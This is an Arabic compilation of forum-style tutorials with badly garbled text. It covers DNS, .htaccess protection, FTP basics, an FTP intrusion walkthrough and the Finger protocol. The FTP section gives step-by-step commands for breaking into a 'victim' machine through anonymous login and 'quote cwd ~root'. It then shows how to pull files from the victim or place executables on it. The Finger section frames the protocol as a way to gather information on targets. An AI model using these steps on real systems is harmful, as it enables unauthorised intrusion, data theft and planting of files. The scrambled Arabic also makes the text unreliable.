ركز اى DNS و ال س له م حكم فى كل  decentralized لی س هناكمكان معین او نظام معین یت اى انه لی
لبل بال DNS ال س فا ت موزعه بشكل DNS عك ر  عباره عن قاعدة بیبانا رف رمن  سی منظم و توجد على أمث

ر علیه رف رید ان DNS و كل سی حث عندما ی ف این یب ت معین او  یعر حصل على معلومه معینه او هوس ی
ل لدومین جدید  رید تسجی  .ی

ت مقدمة مبسطة عن هذه الخدمة واهمیتها    ...هذه كان
 

THE DNS SERVER: خا  :دم الدي ان اس  
================================  

ل DNS SERVERاـل ر و یعم س و یستخدم  UNIX عادتا على نظام هو عباره عن كمبیوت  أو لینك
س ج الیونك رنام ج  عدیدة مثل  .(Berkeley Internet Name Domain) اى BIND ب رام و هنالك ب

ش حد , هذه للویندوز و الماكنتو رها اذا اراد ا  و لكن الكل یفضل ال DNS SERVER  استعمالهم كوغی
UNIX .ج ال  و یتكون رنام  :من جزئین  DNS ب

                           the name server itself (the daemon program that listens 
to port 53)  ر یسمى خ  RESOLVER و الا

حك عندما تطلب معلو هذا یستجیب الى NAME SERVER و الـ مه معینه فمثلا عندما تفتح متصف
ت اكسبلورر و تكتب او تطلب فسیسأل  com.asfh3.www://http/  منه موقه معین مثل الانترن

ص بك و هذا(موجود له  DNS المتصفح اقرب عن عنوان ) یعتمد على اتصالك بالشبكه و رقم الاى بى الخا
 com.asfh3.www://http/ ا الموقع المطلوب لهذ IP ال
حتاج هذا ال لان ت اى هذا الموقع و یطلب IP المتصفح ی ر الذى لدیه هذا الهوس رف ت  لیجد الس حتویا م
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حك ضها لك فى متصف ر لیعر رف  .الموقع من الس
حك عن الموقع الذى تطلبه فى  daemon program و قبل هذا سیسأل الـ جداوله اى فى ذاكره متصف

حه و هكذا تتم العملیه فأذا لم یجده ینتقل الى ق شر  .ما سب
 

THE TREE INFORMATION: 
========================= 

حقك و لا یجده فى الـ IP عندما تطلب رقم الان بعد ان اتقفنا على انك حلي  DNS معین من المتصفح  الم
ص بك  فاى الخا الاعلى منه فى المستوى عنه لیجده و اذا لم یجده فى  DNS SERVER یسأل ال سو
حث من الاقل الى الاعلى فى مستوى اعلى ر الب حث فى مستوى اعلى و اعلى و هكذا یسی  فینتقل للب
ت ال  .DNS SERVERS مستویا

ل و ره اتصا ج وجود شج ل فسنستنت طبعا نتیجه من هذا الاتصا ف ت و  ت و لكن كی ل بالضبطمعلوما  دعونا  عم
ل  خذ مثا  :نأ

ضنا ان الـ ر ص ISP لو ف حسب  isp.co.uk بك كان مثلا الخا ت اى  و هذا یعتمد على اتصالك بالانترن
رفر ركه و الس طبعا ان یكون الـ الش  ISP's DNS server's الذى تشبك علیه فمن الطبیعى 

hostname مثل هذا dns.isp.co.uk  ت هذا ض انك سأل ر حث لك عن DNS الـو الان فالنف  IP لیب
ص ب حث فى جداوله uk .co.isp.    dnsهذا ال مثلا فسیقوم com.asfh3.www://http/ الخا بالب

حلیه المخذنه فى الذاكره عنده فیجدها و  DNS اذا لم یجدها فسینتقل كما قلنا الى مستوى اعلى من ال الم
SERVER حث فیه و اذا لم حث كلیا  لیب ر مكان الب ضا فى المستوى الاعلى فعلیه ان یقوم بتغیی یجده ای

     ,school.edu.uk او some-organization.org.uk الى dns.isp.co.uk فمثلا من
university.ac.uk, england.gov.uk, airforce.mil.uk  طبعا و را  خ و هناك امثله كثی و ال

رجع المتصفح الى  UK   كل شئ ینتهى ب حث فیها فسی ح له الب ضا فى كل الاماكن المتا و اذا لم یجده ای
ر حتوى على كل عناوین ال ROOT موجود على الشبكه و اسمه ال DNS اكب  على كل للمواقع IP فهو ی

حسب هذه العملیة التسلسلیة یتنقل الـ  DOMAIN NAME الموجوده على اى حثا عن  DNSوهذكا   ب
 .الدومین 

 
حدید موقع هذا الدومین ؟DNSمتى یفشل الـ  حصول على الموقع او ت    في ال

====================================== 
حالة عدم وجود هذا الدومین  ت لأفهامكم قبل ان أذكرها وهي اما ا في  أتمنى ان تكون الاجابة قد وصل

حتى یصل لل ل  ح را حث في كل الم حث لانها سیب ت  ROOTجذز بالاصل وسیطول الب حث في كل الاي بیا   ویب
ت المخزنة فیه ومن ثم ستكون الاجابة   ر address could not be foundأو الدومینا  وقد یستم

حث ما یقارب     ثانیة ٢٠ – ١٥الب
ى  ر خ حالة الأ   :ال

ل مع ال حك بقدان الاتصا حث فیقوم متصف طول الب  . TIMED OUT عملیه اى DNS نتیجه 
ضغ حاله ن حك  طبعا RELOAD او REFRESH ط فى المتصفح علىو فى هذه ال   ...حسب متصف
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  "htaccessشرح ملف " 
  

$$$$$$$$$$$$$$  
   BSD-r00t: الكاتب

$$$$$$$$$$$$$$  
                                            htaccess.....   

  
                                       |  مقدمــةـ* | 
ف اهمی* |                              |htaccess.ة مل
ف * |  ل مل                         |htaccess.كیفیة عم
ت * |  حا صف ل  خاصةerrorعم  |                           
ت المجلد الذي لا یوجد به * |  حتویا ض م ر     |indexمنع ع
ص معینة/منع* |  خول الموقع لاشخا حة د               | اتا
ح* |  رت خ حاول فتح لینك للینك ا ل من ی               |وی
ف * |  ل المل                             |                 .htpasswdعم
حمایة بواسطه *|                          |htaccess.ال
ف * |                        |htaccess.منع اظهار المل
ف* |  ضافة مستخدمین في المل           |              ا
ر* |  خ ر بامتداد ا ت تظه حا                    |جعل الصف

--------------------------------------------------  
  
  مقدمــةـ * 

------------  
ر  ء فیه بكلمة س ض الاجزا ق بع حمایة المواقع و اغلا ل  ل الموقع ، من اهم وسائ خ ض الناس من د و منع بع

ح خول  و السما رهم بالد ف ..لغی ر به htaccess. هو استخدام المل ر و الكثی ل الكثی   . و الذي یمكن عم
ر  حمي بكلمة س ف مخفي و م   .و هذا المل

  
ف *    htaccess.اهمیة مل

-----------------------  
ر -١ ء فیه بكملة س حمایة اي جز    
ت -٢ حا صف ل  خاصة بك error عم    
ت المجلد الذي لا یوجد به -٣ حتویا ض م ر   index منع ع
ص معینة/منع -٤ خول الموقع لاشخا حة د   اتا
ر -٥ ت غی حة البدایة بأمتدادا صف    ..html , .asp. جعل 
ر  -٦ خ حاول فتح لینك للینك ا ل من ی حوی    ت
  
ف *  ل مل   htaccess.كیفیة عم

---------------------------  
ت باد  ص مثل النو رر نصو ح ف بواسطه اي م ل هذا المل ل ل" Notepad"یمكنك عم ق عم ری ط ف عن  لمل

حفظ ف بهذا الاسم  حفظ باسم و ن س امتداده htacces.المل س هناك اسم txt. على ان یكون لی  اي ان لی
ف  ف باسم  اذا لم تستطیع ذلك، للمل حفظ المل ف -"  htaccess".ا ص في اسم المل    .- علامتي التنصی
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ت *  حا صف ل  خاصةerrorعم    

------------------------  
ل سكان على الموقع و الفائدة منها هو ان ا ص عم حاولة اي شخ ر بشكل افضل كما انه عند م لموقع یظه

ر  ف یظه ره ان كان سو ق كل ثغ ر هي انه یقوم بتطبی ل السكان ریقة عم ط ت و ذلك لان  را الموقع به كل الثغ
رصد النتیجه    .على الموقع و ی

ره  ر لك كأن الموقع علیه هذه الثغ ر یظه   .فاذا كان هناك اي تغی
ت ال و یمكنك عم حا صف ق errorل  ری ط    -: الخاصه ك عن 

ت ال -أ حا صف م     اولا error تصمی
ت على الموقع -ب حا ل الصف می ح    ت
ر ال-ج ضافه السط ف كت ا   htaccess.ابي في المل

                                                         ErrorDocument error_num 
directory_file   

 هو مكان directory_fileو " الارقام موجود بالسفل " هو رقم الخطا  error_numیث یكون حب
حه ال  ت بتصمیمها   التيerrorصف   .قم

ل   ErrorDocument 404:                                                    مثا
/errors/nfound.html  

  -:  و ارقامها errorsال 
-----------------------  

 |٤٠٠ | Bad Syntax|      
-----------------------  

 |٤٠١ | Unauthorized |    
-----------------------  

 |٤٠٢ | Not Used|        
-----------------------  

 |٤٠٣ | Forbidden|       
-----------------------  

 |٤٠٤ | Not Found|       
-----------------------  

  
ت المجلد الذي*  حتویا ض م ر   index لا یوجد به منع ع

-----------------------------------------------------  
ف  ل علیها و لا یكون به مل حاولة فتح اي دلی ض المواقع عند م رد جمیع indexبع  یقوم الموقع بس

ل ت هذا الدلی حتویا ریقتین  م ط ل هذه المشكله توجد  ح   -:و ل
ف -أ ضع مل ت index و صعب جدا و بالطبع هذ"  في كل المجلدا   "ا 
ف -ب ف htaccess. باستخدام المل ر التالي في المل ضافه السط ق ا ری ط   -: عن 

                                                                             Options -Indexes   
  
ص معینة/منع*  خول الموقع لاشخا حة د   اتا

----------------------------------------  
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ف یمك خول الموقع بعد معرفة الاي بي الخاصه به و htaccess.نك باستخدام المل ص معین من د  منع شخ
ص تیمكنك الاس خول الموقع لاي شخ ل الموقع لمن لا ترید كما یمكنك منع د خ حیث یمكنك منع د فاده من ذلك 

ل مثلا   رائی   ..في اس
ف  ر التالي في المل ضافة السط ق ا ری ط   -: و یمكنك ذلك عن 

    deny from؟؟؟ .؟؟؟.؟؟؟.                                                                 ؟؟؟    
ص به .؟؟؟.؟؟؟.حیث ان ؟؟؟   .؟؟؟ هو الاي بي الخا

ر التالي  ضافة السط خول الموقع یمكنك ا حد من د ت منع اي ا    -:واذا ارد
                                                                                 deny from all  

ر التالي  ضافة السط خول الموقع یمكنك ذلك با ص معین بد ح لشخ ت السما   -:واذا ارد
   allow from؟؟؟ .؟؟؟.؟؟؟.                                                                    ؟؟؟

ص به .؟؟؟.؟؟؟.حیث انا ؟؟؟   ؟؟؟ هو الاي بي الخا
  
ر *  خ حاول فتح لینك للینك ا ل من ی حوی   ت

-------------------------------------  
ر htaccess. وهي من اهم فوائد Redirectionوتسمى هذه العملیه ب  ف تستخدم مثلا عند تغی  المل

ف قدیم ف  موقع مل حد فتح htaccess.على الموقع الى مكان جدید فیمكنك باستخدام المل حاولة ا  عند م
حد  ف ه الینك القدیم توجیها ر التالي في المل ضافة السط ق ا ری ط   -:الى الینك الجدید عن 

 ???.???/Redirect /somewhere/؟؟؟.                         ؟؟؟
http://www.site.com/newlocation   

حیث یكون  ف القدیم و ؟؟؟ .؟؟؟/somewhere/ب هو مكان المل
http://www.site.com/newlocation/ف الجدید؟؟؟ .؟؟؟   .هو مكانالمل

----------  
  
ف *  ل المل   .htpasswdعم

------------------------  
ف أن ویمكنك  ریقة المل ط س  ف نعمله  ، htaccess.تقوم بعمله بنف ف حو سو .تى نسطیع استخدام المل

htaccess   ف ف نكتب في المل حمایة و سو    -: ما یأتي htpasswdفي ال
                                                                          user1:EncryptedPwd1  

                                                                    user2:EncryptedPwd2  
o حیث ان  user1 , user2 هو اسم المستخدم .  
o و EncryptedPwd1 , EncryptedPwd2ر ولكن مش ت الس ر اي  هي كلما ره و یمكنك تشفی ف

ق الموقع                                           ری ط كلمة تریدها   عن 
http://www.euronet.nl/~arnow/htpasswd  

  http://www.e2.u-net.com/htaccess/make.htm   او
ر باسم  ضع یوس ر الخاصة به هي Securityفمثلا لو اردنا و  الى  نذهب اولاfu93hds3 و كلمة الس

                                                  http://www.euronet.nl/~arnow/htpasswd    الموقع 
 o و username : Security    
o و passwrod & re-enter password : fu93hds3   
o ضغط على الزر ر النتیجه claculate و ن    Security:893bNicBcwszw>   -- لتظه

ف و الان  ل المل ف htaccess.قد اتممنا عم . و الذي قمنا بعمله و ذلك لكي نستطیع استخدام المل
htaccess  ر ر و یوس حمایة بكلمة س   .لل
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حمایة بواسطه *    htaccess.ال
----------------------------  

ل معین في الموقع ا خول دلی حد من د حیث انه یمكن منع اي ا ف  رئیسیة للمل ر الفائدة ال   لا اذا كان معهو تعتب
م  ر نی ر و الیوس ص او اي شئ ترید، كلمة الس خا ل منتدى  ریقها عم ط   .فیمكنك عن 

ف  ضع المل ف htaccess.فعند و حته سو ء یندرج ت ل او اي جز خول هذا الدلی حد د حاول ا ل و   في اي دلی
ر  ر و یوس   .یطلب منه  كلمة س

ف قبل نسخه ضافة ما یأتي في المل ق ا ری ط ل ذلك عن  حمایته و یمكنك عم راد  ل الم   --: في الدلی
                                                            AuthUserFile 

/somewhere/.htpasswd  
"                                                 AuthName "Enter your user and passed 

please    
                                                                           Require valid-user  

                                                                               AuthType Basic  
  
  

>                                                                             Limit GET POST<  
                                                                           require valid-user  

>                                                                                     /Limit<  
o حیث یكون ف / somewhere/.htpasswd ب    على موقعك htpasswd.هو مكان مل
o و یكون Enter your user and passed please ر لتطلب كلمة ف تظه رساله التي سو  هي ال

ر    الس
  
ف *    htaccess.منع اظهار المل

-----------------------------  
ره فیجب عل ف اهمیه كبی رفنا الان ان لهذا المل حمیه جیدا قد ع ف مخفي الا، ینا ان ن رغم من ان المل   فالب

خطأ  ر مؤمن او انه هناك تصریح  ر نفسه غی رف ر سالم من ان یكون الس   .. انه غی
ضافة ما یأتي  ق ا ری ط ف عن  ض هذا المل ر ف نمنع ع    -: لذلك سو

>                                                                            Files .htaccess<  
                                                                             order allow,deny  

  
                                                                                deny from all  

                                                      >                               /Files<  
ر له  ف یظه ف سو ض المل ر حد ع حاول ا    .error 403فاذا 

  
ر *  خ ر بامتداد ا ت تظه حا   جعل الصف

-------------------------------  
ر كأن امتداده  ف یظه ل مل   . مثلا txt. و لكنه ذو امتداد html.ویمكن باستخدام هذه الخاصیة عم

ر التالي  ف السط ضا   -:با
                                                                     AddType text/plain html  

ف ةویمكنك رؤیة كاف ت التي یمكنك عملها في هذا المل را    -: التغی
  txt.MIME/books/net.pharaonics.www://http  

...  
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  " FTPنظام نقل الملفات " 
  

$$$$$$$$$  
ر: الكاتب   الجوك

$$$$$$$$$  
                                             ..........  

  
ت   ؟ FTP ما هو نقل الملفا

 
FTP ختصار لكلمة روتوكول نقل File Transfer Protocol هي ا ت، وهذه الخدمة هي  وتعني ب الملفا

ت حدى تسهیلا ت بین TCP/IP ا ت التي تجعل من الممكن نقل الملفا ت على الشبكة ومن میزا  الكمبیوترا
FTP ت النصیة رائعة أنها تقوم بترجمة شكل الملفا حتوي نظم  ال ت ت حیث أن الكمبیوترا ریقة أتوماتیكیة  بط

ل ل مختلفة وعلیه فلدیها أشكا حتاج لترجمة وهو ماتقوم  Formats تشغی ت النصیة فبالتالي ت مختلفة للملفا
ت فاننا  وبخدمة ,FTP به ركا الى جهازنانقل الملفا ت على الفأرة كي ننقل ملفاً في أمی را حتاج لبضع نق   . ن
 

ت   :أقسام نقل الملفا
 

ت ینقسم الى قسمین  :نقل الملفا
ت  :Download تنزیل الملفا

ف ضی ر الم ت من الكمبیوت حلي Host وهو جلب الملفا  .Local الى الجهاز الم
ت ل الملفا  :Uplaod ارسا

ت من الكمبی ل الملفا حليوهو ارسا ر الم ف Local وت ضی  .Host الى الكمبیوتر الم
حیة الأمنیة فهناك نوعان لنقل ت ومن النا  :الملفا

 :Secure FTP نقل مؤمن
رور حتاج الى اسم مستخدم وكلمة م ف ت ضی ر النظام الم حصل علیه من مدی خول الى النظام وت  .للد

 :Anonymous FTP نقل مجهول
رور لل حتاج الى اسم مستخدم وكلمة م خول وتستطیع غالباً استخداملات  anonymous أو guest د

ضاً عنهما  .عو
ت الى ثلاثة ج على الانترن رام ف مصادر الب  :أقسام تصن

 :Public Domain ملكیة عامة
ج هنا للاستخدام العام رام ت الب ضع حد ولا قیود على استخدامها وتوزیعها  و ق ملكیة لأ حقو س هناك  فلی

 .وتعدیلها
 :Freeware مجانیة مصادر

ق حقو ج أو توزیعها ولكن هناك  رام ق للجمیع استخدام هذه الب ح ر ولا یجوز تعدیلها أو بیعها ی  .ملكیة ونش
 :Shareware مصادر مشتركة

م یتم حطی ت ویجب ت ء وقد لاتتضمن جمیع الممیزا را ربة قبل الش ض التج ر ج بغ رام خ بعد  توزیع هذه الب النس
ء مدتها   .انتها

 
FTP ت  و روسا   :الفی

  
م في البدایة أنیجب أن ج تنقسم الى قسمین  تعل رام ت والب  الملفا

ASCII: 
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ختصاراً لـ ت من  (American Standard Code for Information Interchange)ا والملفا
حتوي على سبعة ت هذا النوع ت ر و  bits جزیئا ح قیمتها بین الصف ویستخدم هذا المصطلح . ١٢٧تتراو

ر عن ح للتعبی ف الى أرقام في الكمبیوترالمعیار الذي یقوم بت ر ح ل الأ ت النصیة. وی هذا النوع  وتستخدم الملفا
 .من الصیغ
Binary: 

ت النظام الثنائي ت ذا ت وتعني الملفا حتوي على ثمانیة جزیئا ر و  bits وت ح بین الصف  وتندرج ٢٥٥تتراو
ج رام ت هذا النوع الصور والب ح ضغوطة ت ت الم  .والملفا

ت لا یمكن أن تنتقل ع روسا توالفی ر ملفا ر الصور كصیغ ASCII ب  & jpg & gif كما لایمكن أن تنتقل عب
bmp رها من ت مثل وغی ت الفیدیو والصو ر ملفا ت الصور ولا عب  - avi - ram - mpg - mp3 امتدادا
wav ج رام ل والب ت النظام والتشغی ج وملفا رام ر الب ر فانها تنتقل عب خ رها، وبمعنى آ ضغوطة وعادة  وغی الم
 - exe - com - bat - dll - drv - sys - bin - ovl - zip - mim - uue - xxe :ماتكون

b64 - bhx، ت ر تطبیقا ت الماكرو عب روسا حذر من هذه  ،MS Office كما یمكن أن تنتقل فی لذلك ا
حصها دائماً قبل ت واف  .تشغیلها الملفا

 
ت ریقة نقل الملفا   : FTP ط

 
ت ق عدیدة لنقل الملفا ر ط  :وهي هناك 

 
ت باستخدام نظامنقل المل  UNIX فا

  
ر تتطلب هذه العملیة عادة استخدام ض أوام ر وهاهنا بع  :UNIX أوام

ascii: ت ر ASCII لنقل ملفا ت من هذا النوع فیجب  النصیة، وعند تغیی حاجة لنقل ملفا ضع ثم ال هذا الو
ر  .اعادة الأم
binary:  حاجة لنقل ضع ثم ال ر هذا الو ت الثنائیة، وعند تغیی ت من هذا النوعلنقل الملفا فیجب اعادة  ملفا

ر  .الأم
status: ف ومعرفة هل هو من نوع ص المل ح  .Binary أو ASCII لف

help: ر ض قائمة بأوام  .UNIX لعر
dir: ل ت الدلی حتویا ض م ر   ع
ls: حالي ل ال ت الدلی حتویا ض م ر  .ع

cd directory: ر ل تغیی  .الدلی
get filename: ف المطلوب وانزاله على جهازك  .جلب المل

mget filename:ت  .جلب مجموعة من الملفا
pwd: حالي ل ال  .طباعة الدلی
bye: روج من النظام البعید ء الارتباط والخ  .انها

  
حساب ت باستخدام   :Shell نقل الملفا

  
ص ل الملقن الخا خا ت هو اد ل  أول ماتفعله في هذا النوع من نقل الملفا خ ف تد ر الخدمة فمثلاً سو ركة توفی بش

ق Tripod حسابك في ری ط ر نكتب ،Unix Shell عن  رادة فیصبح ftp أولاً الأم  :متبوعاً بالوجهة الم
ftp ftp.tripod.com ل الاسم خ ل ثم ند ل المثا رقم  ،"IronPrivate" وهو عل سبی ل ال خا ثم نقوم باد

ر "******".السري وهو مثلاً  س أوام حساب یمكنك استخدام نف خول الى ال  .المعتادة Unix وبعد الد
توإذا  ت عن نظام الـ أرد  Unixالمزید من المعلوما
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خوول الى هذا الموقع  : علیك الد
html.lunexx/net.worlds-pc.www://http 

 .فى هذا النظام  فهو یفید المبتدئین
ت باستخدام المتصفح  :Browser نقل الملفا

ل عنوان الموقع تنقل الملفا خا ت سهل جداً فما علیك سوى اد حا ق المتصف ری ط  ویبدأ العنوان URL عن 
خول الى http:// ثم العنوان بدلاً من كلمة ftp:// بكلمة ستأتي  FTPموقع الـ للعناوین العادیة، بعد الد

ف ر على المل ت وماعلیك سوى النق ت ومجلدا حة عبارة عن ملفا  .المطلوب لانزاله الصف
حسابنقل ا ت باستخدام   :SLIP/PPP لملفا
ج تابعة أفضل رام ربط أنها تسمح لنا باستخدام ب ت هذا النوع من ال  .Client Programs استخداما

ج تابع یمكن استخدامه للنوافذ رنام ج Windows وأفضل ب رنام  .Ws_ftp هو ب
ج رنام   Ws_ftp LE 5.06: استخدام ب

ر ج، سیظه رنام ر المزدوج على أیقونة الب ج وذلك بالنق رنام ل على الب خ حوار اد ربع   Session لك م
Profile خانة خول، اكتب في  ل الد خلاله تقوم بتسجی خول؛  Profile Name والذي من  حساب الد اسم 

ل ل المثا اسم الملقن وفي  Host Name خانة واكتب في My Home Page In Tripod على سبی
ل هو خانة ftp.tripod.com هذا المثا ختر Host Type ثم في  ق  Auto Detect ا لكي یقوم بالتدقی

ف، بعد ذلك ضی خانة التلقائي في نوع نظام الجهاز الم  وهو مثلاً User ID قم بكتابة الاسم في 
IronPrivate خانة رقم السري في  ر مخفیاً على هیئة نجوم  Password ثم ال ثم ، ******وسیظه

ضغط  :التالي كما في الشكل .OK ا
 

 
 

حساب المطلوب خول الى ال ج بالد رنام ر  بعد ذلك سیقوم الب ج الى قسمین؛ القسم الأیس رنام وستنقسم نافذة الب
ر لدیك والقسم حلة تستطیع جلب أو  هو جهاز الكمبیوت ر ف، في هذه الم ضی ر الم الأیمن هو جهاز الكمبیوت

ت أو ل الملفا ر اسمائها أو  ارسا خ... حذفها تغیی ت. ال حسابك على الانترن ت  حتویا حكم في م أو  أي تستطیع الت
  .على جهازك بسهولة فائقة

 
ت ل الشبكي البعید نقل الملفا   :Telnet باستخدام الاتصا

 
Telnet ربط عن بعد ویسمح ت ال ت معیاري لخدما روتوكول انترن ربط جهازه على  هي ب للمستخدم ب
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ف جاعلاً جهازه وكأ ضی ر م ء من ذلك الكمبیوتركمبیوت حسب نظام الكمبیوتر . البعید نه جز ض  ف العر ویختل
ف ضی ر فیجب  Windows نظام اذا كان الجهاز البعید یستخدم. الم خ فلا مشكلة أما اذا كان یستخدم نظام آ

حكم ر للت ض الأوام ر یجب أن تعرفه هو  معرفة بع ر اللازمة" ؟"وأهم أم ر لك قائمة بالأوام ض ح   .والذي ی
 
جاست - رنام   :Windows من Telnet خدام ب
  

ق رنامجاً سهلاً یسمى Windows ترف خول علیه بالضغط على قائمة ابدأ Telnet ب ثم  Start یمكنك الد
ل ج Telnet ثم اكتب Run تشغی رنام ء للب حة البد صف ختر Connect من.. وستنفتح لك   Remote ا

System. حوار ق ال صندو ر لك اكتب في Connect في  خانةالذي سیظه   Host Name  اسم ملقن
ف ثم اكتب في ضی ء أو المنفذ  Port خانة الجهاز الم ختر من الـ) اذا كان لدیك( المینا او اتركه كما هو، ثم ا

Term Type ، ربة ضغط. ان كان لدیك والا قم بالتج ربط Connect بعد ذلك ا حتاج  وعندما یتم ال فست
ري رقم الس ل الاسم وال خا ء من. لاد ختروبعد الانتها وبعد ذلك  Connect قائمة من Disconnect النقل ا

ختر   …Exit  ا
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 "FTP  الإختراق عن طریق" 
  

$$$$$$$$$$$$$$  
   hacker dz: الكاتب

$$$$$$$$$$$$$$  
  

ر حام عب ریقة إقت ط ف نتناول  ف تي بي  الیوم سو حام یجب ان یكون لدى    FTP الا ح الإقت أولا و لنجا
حیة البور ض ح و هو البور  ٢١ت   ال ص بتمفتو ح علیك ان تو لتأكد من أن البور  FTP ال   الخا  مفتو

رة و من اهمها ج السكان و هي كثی رام ل ب ح ننتقل تد ان البوربعدما تتأكSuperscanne   تستعم  مفتو
   : الى الخطوة الثانیة و هي

ضغط على    إ
Start  

  ثم 
Run  
  ثم اكتب

ftp – n  
ف تطلع لك نافدة في الدوس مكتوب علیها   سو

FTP<  
ء تمام حد هنا كل شي   ؤوكي ل

  و بعدین اكتب
Open  

ضغط على    ثم إ
ل  خا   إد

Enter  
حصل ع ف تت    النتیجة التالیةلىسو

FTP>  
To   

  أكتب بجانب 
To  

ل خا ضغط على إد حیة ثم إ ض خد بالك معي رقم الإبي لل   و الآن 
خطوة ت  رد فقد تخطی ت على هدا ال حصل   إدا ت

Connected to www.assassin.com  
٢٢٠ websrv1 Microsoft FTP Service (Version 4.0.(  

  ftp>quote user ftp  و الآن أكتب الكتابة التالیة
خطو ت  رد فقد تخطی ت على هدا ال حصل   ةإدا ت

٣٣١ Anonymous acces allowed, send identify (e-mail name) as 
password. 

 و الآن أكتب الكتابة التالیة
ftp>quote cwd ~root 

خطوة ت  رد فقد تخطی ت على هدا ال حصل  إدا ت
530 Please login with USER and PASS 

 ثم أكتب الكتابة التالیة
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ftp>quote pass ftp 
ت على هدا ا حصل خطوةإدا ت ت  رد فقد تخطی  ل
حام ت في الإقت ح  و نج

 
230 Anonymous user logged in. 

حیة ض ت الآن في جهاز ال روك أن  مب
ل   ما علیك الآن الا ان تقوم بإستعما

ر الا   ::ف تي بياوام
حام من دون ما  ح الإقت ت فیها و هي نجا رور الكرام لكي لا تقعو في المشكلة الي وقع ر علیها م طبعا لن ام و 

ف ر ر من أع حكو بقالیأكث ر الفتیبي و إدا اردتم ان تض  دقیقة و انا مجمد الإیدي و ٢٠ و لا فكرة على اوام
ء و لهدا ل أي شي حیة عالقة من دون أن أعم ض   ال

حام ح الإقت ر لكي تطبقوها مباشرةا بعد نجا ر الىوام ضی ح ت ب   قم
Pwd  

حتویه الهارد دیسك   لكي تعر ما ی
Cd   

ل حام مجلد مثا   لإقت
Cd black  

حام مجلد المسمى بلاكف ت بإقت ل قم   ي هدا المثا
Ls  

حتوى المجلد أو الهارد دیسك   لكي یتضح لك م
Get   

ع جهازك  ل الى سطح المكتب بتا حم حیة لكي ت   من جهاز الض
ل   مثا

Get black.exe  
Put  

ل   العملیة العكسیة 
Get  

ع جهازك و تضعه في  ف من سطح المكتب بتا خد مل حیةجیعني ان تأ ض   هاز ال
ل   مثا

Put black.exe  
Clos   

حیة ض ل مع ال   لقطع الإتصا
ق  ء تطبی حیة أثنا حصل علیها من جهاز الض ل الي نت رسائ ق على أنواع ال ر ر و الآن سون تط هدي أهم الأوام

حها و ارقامها   الأوام و شر
Codes:        Signification:  

١١٠        Restart marker reply.  
١٢٠        Service ready in nnn minutes. (nnn est un temps)  
١٢٥        Data connection already open; transfer starting. 

150        File status okay; about to open data connection. 
200        Command okay. 

202        Command not implemented, superfluous at this site. 
211        System status, or system help reply. 
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212        Directory status. 
213        File status. 

214        Help message. 
215        NAME system type. 

220        Service ready for new user. 
221        Service closing control connection. 

225        Data connection open; no transfer in progress.  
226        Closing data connection. 

227        Entering passive mode (h1, h2, h3, h4, p1, p2). 
230        User logged in, proceed. 

250        Requested file action okay, completed. 
257        "PATHNAME" created. 

331        User name okay, need password. 
332        Need account for login. 

350        Requested file action pendingfurther information. 
421        Service not available, closing control connection. 

425        Can't open data connection. 
426        Connection closed; transfer aborded. 

450        Requested file action not taken. (Fichier déjà utilisé par autre 
chose) 

451        Requested action aborded: local error processing. 
452        Requested action not taken. (Pas assez de mémoire pour 

exécuter l'action) 
500        Syntax error, command unrecognized. 

501        Syntax error in parameters or arguments. 
502        Command not implemented. 

503        Bad sequence of commands. 
504        Command not implemented for that parameter. 

530        Not logged in. 
532        Need account for storing files. 

550        Requested action not taken. (Fichier non trouvé, pas d'accès 
possible,...) 

551        Requested action aborded: page type unknown. 
552        Requested file action aborded. 

553        Requested action not taken. (Nom de fichier non attribué) 
  

..........  
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 "Fingerبروتوكول خدمة " 
  

$$$$$$$$$$$  
  LAMeR :الكاتب

$$$$$$$$$$$$  
ر رف ت عن مستخدمي الموقع او السی ت المهمة في جمع المعلوما روتوكولا حد الب ح لا    شر

  
ت  ل على البور رتوكول یعم ضوع فهذا الب ء بهذا المو   79للمعلومیة وقبل  البد

 
 Finger مقدمة عن 1.1
 Finger استخدام 1.2
خدمةب 1.3 ض الخدع عند استخدام   Finger ع
ق 1.4 ری ط  Finger موقع بأستخدام الأستعلام عن 
 الأستنتاج من هذا الدرس 1.5
 الختام 1.6

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
 

 Finger مقدمة عن 1.2
<===================> 

ق Finger إنّ ری ط ل عن  خدمة تعم ت  دیمون  ت٧٩البور   عادة وكان
 .رقمي للناس businesscard  كنوعمستخدمة أصلا

طلب إلى ( remote user)البعید المستخدم رسل   ( معین دیمون یجري على نظام Finger یمكن أن ی
ت حصل على إجابة) ٧٩نوعیة  Finger بور  .وسی

ضا هذه الإجابة ستخبرك من هم ء المستخدمین  المستخدمین على هذا النظام و أی ت عن هؤلا ض المعلوما بع
 .بالنظام نالمتصلی

ت ضافة إلى هذه المعلوما ضا من، إ حیان الإجابة تخبرك أی ر النظام في أغلب الأ ف  (admin)الذي یدی وكی
ل  .قام بالإتصا

ل على  جمیع انواع الأنظمة في العالم وطلب الأستعلام عن هذه الأنظمة و الـ قدیما استخدم الناس الأتصا
Finger ت عن كان ت في هذان في ایالموجود یعطیهم معلوما حسابا  Fingerوكان.النظام لنظام وهل لهم 

ضا یستخدم قدیما في رة أی ت الكبی ركا ت و الش  .الجامعا
ضي ، الـ في ت Finger الما ق الطلاب في الجامعا ری ط ل عامة عن  طلاب  اذا ارادوا إستعم ص  ت تخ معلوما

س الجامعه رین في نف خ را ما تكون الأجابة  . ا  Finger " ملةبج ( Finger Deamon اجابة(وكثی
me! "  أعلمني "اي" ! 

ت مواقع الویب   أقل شهرة ، لأنه توجد الآن  Finger العالمیة اصبح أما الآن ومع وجود شبكة الإنترن
ل كبطاقة ل للعم حظة الناس (bisinesscard)عم ت وبسبب ملا خاصة بمستخدمین الأنترن  التهدید رقمیة 

خدمة  Finger Deamon الواسع للأمن الألكتروني قلّ استخدام 
 

ل، على أیة ض المواقع  حا ت هذه الخدمة وستجد بع س كل الأنظمة منع وهذه   .الخدمة تقدم هذه) الأنظمة( لی
ج رام ق الأنظمة بأستخدام ب خترا ت ا حاولا ت  portscans   الأیام یقوم الهكرز بم حث عن البورتا للب

حة  .بدون أيّ أساس علمي . . . المفتو
م لخدمةدیمون، Finger لذلك إنّ ل عظی ضخمة من  مثا ت  یمكن استخدامها قانونیا لتزودك بكمیة  المعلوما
حساّسة  ال
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ف  .حول هد
ح في هذا الدرس بلغة حاول ان اشر ف أ   مفهومة لهذا سو

حتك Finger ما هو ف یمكن استخدامه في مصل   :  دیمون وماذا یفعل وكی
خدمة: الخلاصة المقدمة ت تستخد Finger ان  ت قدیما ولازال تكان المستخدمین   عن م لجلب المعلوما

ت في هذا النظام ام لا حسابا  . الموجودین في النظام و هل لدیهم 
 

